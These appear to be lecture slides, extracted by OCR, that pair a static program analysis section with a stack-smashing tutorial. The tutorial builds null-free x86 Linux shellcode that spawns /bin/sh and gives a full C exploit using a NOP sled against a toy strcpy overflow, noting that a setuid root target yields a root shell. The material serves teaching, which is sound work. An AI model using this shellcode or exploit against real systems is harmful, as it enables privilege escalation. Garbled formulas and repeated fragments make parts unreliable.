$$\mathcal{D}^*[v] = \bigsqcup\{\llbracket\pi
rbracket^\sharp \; \top \; | \; \pi: start o^* \; v\}$$

For any initial concrete state  $\rho$  and path  $\pi: start \to^* v$ , if  $[\![\pi]\!]$   $\rho$  is defined then

$$\llbracket \boldsymbol{\pi} \rrbracket \ \boldsymbol{\rho} \quad \Delta \quad \mathcal{D}^*[\boldsymbol{v}]$$

Hence  $\mathcal{D}^*[v]$  abstracts all states possible at node v.

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To compute it, we use the constraint system:

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How are the two related?

$$\mathcal{D}^*[v] = ig| \left\{ \llbracket \pi 
rbracket^\sharp D_0 \mid \pi : start 
ightarrow^* v 
ight\}$$

#### Theorem:

Kam, Ullman 1975

Let  $\mathcal{D}$  be the smallest solution of the constraint system

$$egin{aligned} \mathcal{D}[start] & \sqsupseteq D_0 \ & \mathcal{D}[v] & \sqsupseteq \llbracket k 
rbracket^\sharp \mathcal{D}[u] & ext{for edge } k = (u,l,v) \end{aligned}$$

Then we have

$$\mathcal{D}[v] \supseteq \mathcal{D}^*[v]$$
 for every  $v$ 

In other words:  $\mathcal{D}[v] \supseteq \llbracket \pi \rrbracket^{\sharp} D_0$  for every  $\pi : start \to^* v$ 

## Question:

Does the constraint system give us only an upper bound?

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#### Answer:

In general yes.

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In general yes.

Now let's assume that all the functions  $[\![k]\!]^{\sharp}$  are distributive ...

- distributive, when  $f(\coprod X) = \coprod \{f(x) \mid x \in X\}$  for all  $\emptyset \neq X \subseteq \mathbb{D}_1$ .
- strict, when  $f(\bot) = \bot$ .
- ullet total distributive, when f is strict and distributive.

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- $\bullet$  total distributive, when f is strict and distributive.

Example 1:  $\mathbb{D}_1 = \mathbb{D}_2 = (2^U, \subseteq)$  for some set U.

 $f(x) = x \cap A \cup B$  for some  $A, B \subseteq U$ .

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$$f(x \cup y) = (x \cup y) \cap A \cup B$$

 $= (x \cap A \cup B) \cup (y \cap A \cup B)$ 

Distributivity: 
$$= (x \cap A) \cup (y \cap A) \cup B$$

Strictness:  $f(\bot) = 0+1 = 1 \neq \bot$  No

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Example 3: 
$$\mathbb{D}_1 = (\mathbb{N} \cup \{\infty\})^2$$
,  $\mathbb{D}_2 = \mathbb{N} \cup \{\infty\}$ ,  $f(x,y) = x+y$ 

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Example 3:  $\mathbb{D}_1 = (\mathbb{N} \cup \{\infty\})^2$ ,  $\mathbb{D}_2 = \mathbb{N} \cup \{\infty\}$ , f(x,y) = x+y

Strictness:  $f(\bot) = 0 + 0 = 0 = \bot$  Yes

Distributivity:  $f((1,4) \sqcup (4,1)) = f(4,4) = 8 \neq 5 = f(1,4) \sqcup f(4,1)$  No

Assumption: All nodes v are reachable from the node start. (Unreachable nodes can always be deleted.)

Theorem: If all the edge transofrmations  $[\![k]\!]^{\sharp}$  are distributive then  $\mathcal{D}^*[v] = \mathcal{D}[v]$  for all v.

The result does not hold in case of unreachable nodes.



We consider  $\mathbb{D} = \mathbb{N} \cup \{\infty\}$  with ordering  $0 \sqsubseteq 1 \sqsubseteq 2 \sqsubseteq \ldots \sqsubseteq \infty$ .

Abstraction relation:  $n \Delta a$  iff  $n \leq a$ .

The abstract transformation for the second edge is defined by  $[\![k]\!]^{\sharp}$  a=a+1. We choose  $D_0=5$ .

We have the constraints  $\mathcal{D}[0] \supseteq 5$  and  $\mathcal{D}[2] \supseteq \mathcal{D}[1]+1$ .

We have

$$\mathcal{D}^*[2] = \bigsqcup \emptyset = 0$$

$$\mathcal{D}[2] = 0 + 1 = 1$$

# Stack Smashing Exploits

• We now discuss at some real examples of how buffer overflow weaknesses in programs can be exploited.

• Various programming techniques are used in stack smashing attacks to execute the desired code.

• A practical exercise in assembly level programming. No deep theory.

## **Ideas**

• Writing past the end of a buffer on a stack allows us to overwrite the return address.

• To be able to exploit this weakness, we need to have the desired code somewhere in memory (the shellcode).

• The shellcode is passed to the program e.g. through arguments or environment variables.

• We need to figure out where in memory the shellcode is stored.

#### The shellcode

- The piece of machine code we would like to execute by exploiting some weakness.
- Called "shellcode" because it is typically used to start a shell.
- Should be short.
- Should have no null bytes, otherwise strcpy will ignore part of the code.
- Very specific to the machine architecture and operating system. We consider Linux and x86 for our discussion.

A typical code (in C) we would like to execute to start a shell:

```
// runsh-c.c
#include <stdlib.h>
int main () {
    char *av[] = {"/bin/sh", NULL};
    execve (av [0], av, NULL);
    exit (1);
}

# gcc runsh-c.c -o runsh-c
# ./runsh-c
sh-3.00$
sh-3.00$
exit
exit
##
```

execve (filename, argv, envp) executes filename. argv is the array of argument strings. envp is the array of strings corresponding to environment variables.

On success, execve does not return. Text, data and stack of the calling process are replaced by those of the new program.

We write this in assembly to be used as the shellcode.

The code for exit (1) is:

movl \$1, %eax movl \$1, %ebx int \$0x80

- int raises an interrupt.
- The code 0x80 is for system call.
- For the exit system call, we pass value 1 in register eax.
- Register ebx contains the argument supplied to exit.

#### From assembly code to hexadecimal machine code

The following assembly program does nothing and exits with exit code 1.

```
#exit_1.s

.globl _start

_start:

movl $1, %eax

movl $1, %ebx

int $0x80
```

#### From assembly code to hexadecimal machine code

The following assembly program does nothing and exits with exit code 1.

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_start:

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int $0x80
```

#### Compile and running:

```
#as exit_1.s -o exit_1.o

#ld exit_1.o -o exit_1

#./exit_1

#./exit_1; echo $?

1

#
```

#### From assembly code to hexadecimal machine code

The following assembly program does nothing and exits with exit code 1.

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#as exit_1.s -o exit_1.o

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#./exit_1; echo $?

1

#
```

We look at the executable produced...

```
#gdb exit-1
[...]
(gdb)disassemble _start
Dump of assembler code for function _start:
0x08048074 < start + 0 > mov
                              0x1,\%eax
                              0x1,\%ebx
0x08048079 < start + 5 > mov
                              $0x80
0x0804807e < start + 10 > int
End of assembler dump.
(gdb)x/12b _start
0x8048074 < start>:
                       0xb8
                               0x01
                                       0x00
                                               0x00
                                                       0x00
                                                               0xbb
                                                                      0x01
                                                                             0x00
0x804807c < start + 8 > 0x00
                               0x00
                                       0xcd
                                               0x80
```

This gives us the 12 byte string corresponding to this code:

But the above string contains null bytes.

Problem is we want this string to be copied by strcpy.

The instruction movl \$1, %eax puts the 32 bit integer 0x00000001 into eax. This introduces the null bytes.

Alternative code to get rid of null bytes:

xorl %eax, %eax inc %eax mov %eax, %ebx int \$0x80

We use the fact that a XOR a = 0.

Code for char  $*av[] = {"/bin/sh"}$ , NULL}; execve (av[0], av, NULL):

- int 0x80 performs system call.
- Code 11 in register eax is for execve.
- Register ebx points to filename (string).
- Register ecx contains argv.
- Register edx contains envp.

1. Set envp to be NULL.

mov \$0, %edx

2. Push the string "/bin/sh" (null terminated) on the stack.

$$'/' = 0x2f$$
,  $'b' = 0x62$ ,  $'i' = 0x69$ ,  $'n' = 0x6e$   $'s' = 0x73$ ,  $'h' = 0x68$ 

pushl %edxpushl \$0x68732f2fpushl \$0x6e69622f

- Integers are stored in little-endian format, i.e. most significant byte at highest address. Hence instead of storing '/bin', we store "nib/".
- To avoid null bytes, we push 'hs//' and separately push NULL stored in edx.

3. filename in ebx and argument vector in ecx.

```
movl %esp, %ebx \# ebx = argv[0] \# top of stack has address of string pushl %edx \# argv[1] = NULL pushl %ebx \# argv[0] \# argv[0] movl %esp, %ecx \# ecx = argv
```

3. filename in ebx and argument vector in ecx.

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movl %esp, %ebx \# ebx = argv[0] \# top of stack has address of string pushl %edx \# argv[1] = NULL pushl %ebx \# argv[0] \# argv[0] movl %esp, %ecx \# ecx = argv
```

#### 4. Call execve

movb 
$$\$0xb$$
, %al  $\# eax = 11 = code$  for exerve int  $\$0x80$   $\# exerve$  (argv[0], argv, envp)

To sum up, we get the following code for starting a shell.

```
# runsh.s
.globl _start
_start:

xorl %edx, %edx
pushl %edx
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp, %ebx
pushl %edx
```

```
pushl %ebx
movl %esp, %ecx
movb $0xb, %al
int $0x80

xorl %eax, %eax
inc %eax
mov %eax, %ebx
int $0x80
```

As before, we convert the code to hexadecimal, to obtain the following string of 30 bytes.

$$\label{lem:condition} $$ \frac{x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f} \x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0} \x0b\xcd\x80\x31\xc0\x40\x89\xc3\xcd\x80 $$$

Also we can check that there are no null bytes in the string.

# Using the shellcode in an exploit

We assume given the following toy vulnerable program.

```
//vulnerable.c
#include <string.h>
int main (int argc, char *argv[]) {
  char t [20];
  strcpy (t, argv [1]);
}
```

If argv[1] is large enough, we can write past the buffer t, and in paticular overwrite the return address.

We know how to find position of return address relative to t (or use hit and trial).

Let's assume return address is at address t+24, i.e. the bytes t[24],...,t[27].

• We supply 28 bytes long string in argv[1], containing the desired return address at the end.

- Our required shellcode needs to be present somewhere in the memory.
  - Supply it in argv[1] so that it is stored in buffer t.
  - Supply it among the environment variables (our choice here).

• The address where the shellcode is stored in memory needs to be known, and passed in argv[1].

When a process is created, the number of arguments (argc), the arguments (argv) and environment variables (envp) are placed by the kernel at the bottom of the stack. The stack frame for main and all the subsequent function calls are placed above it.

The exact address of the environment variables vary for each process, depending on factors including size of arguments, environment variables, etc.

Missing the exact location of shellcode by even one byte will make the process crash, and we will have to retry.

We need to make the procedure independent of slight errors in guessing the exact address of the shellcode.

We use the NOP instruction which does nothing. Code for NOP instruction is 0x90 (one byte).

We put large number of consecutive NOP instructions before the beginning of the shellcode.

As the NOP instruction is just one byte, it does not matter where we jump to in the area containing NOP instructions. We will keep "sliding" till we reach the beginning the shellcode.

We now have all the ingredients for writing an exploit.

```
// exploit.c

#include <stdlib.h>
#include <string.h>

#define VULNERABLE "./vulnerable" // the vulnerable program

#define NOPLENGTH 80000 // Number of NOP instructions to put

#define NOP 0x90 // code of NOP instruction

#define OVERFLOW_SIZE 28 // length of string to pass in argv[1]
```

```
int main (int argc, char *argv [], char *envp []) {
 char runshcode[] = /* the shellcode */
     "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
     "x52\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\x89\xc3\xcd\x80";
  int return_address;
 char *code = malloc (NOPLENGTH + strlen (runshcode) + 1);
 char *buf = malloc (OVERFLOW_SIZE+1); // argv[1] to be supplied
 char *av[] = {VULNERABLE, buf, NULL}; // argv to be supplied
 char *ev[] = {code, NULL};
                                           // envp to be supplied
```

As an initial guess for the desired return address, we can use either the address of current environment variables or some local variables. The required return address will hopefully we close to this value.

We prepare the string for overflowing the buffer.

```
memset (buf, 'a', OVERFLOW_SIZE); //just ensure no null bytes are there *(int *)(buf + OVERFLOW\_SIZE - 4) = return\_address; buf[OVERFLOW_SIZE] = 0; // null terminated
```

The shellcode and the preceding sequence of NOP instructions.

```
memset (code, NOP, NOPLENGTH);
memcpy (code+NOPLENGTH, runshcode, strlen (runshcode));
code[NOPLENGTH + strlen (runshcode)] = 0;
```

Call the vulnerable code.

```
execve (VULNERABLE, av, ev);
exit (1);
}
```

Done!

We complie and run the exploit.

For a suitable offset value, we hopefully are able to spawn a shell.

$$\#$$
 ./exploit 5000  $sh-3.00$ \$

Vulnerable code which is setuid root can be exploited to get a root shell.

## Address space layout randomization

This is a security technique used by many systems today including Linux.

The positions of key data areas like stack, heap etc are arranged randomly in the process' address space.

Makes it difficult to guess address of shellcode.

As the address of shellcode can vary too much, much larger number of NOP instructions is needed. However, environment variables are not allowed beyond a certain size, and execve call fails.

A possible (inefficient) solution: making several attempts, trying the more likely positions.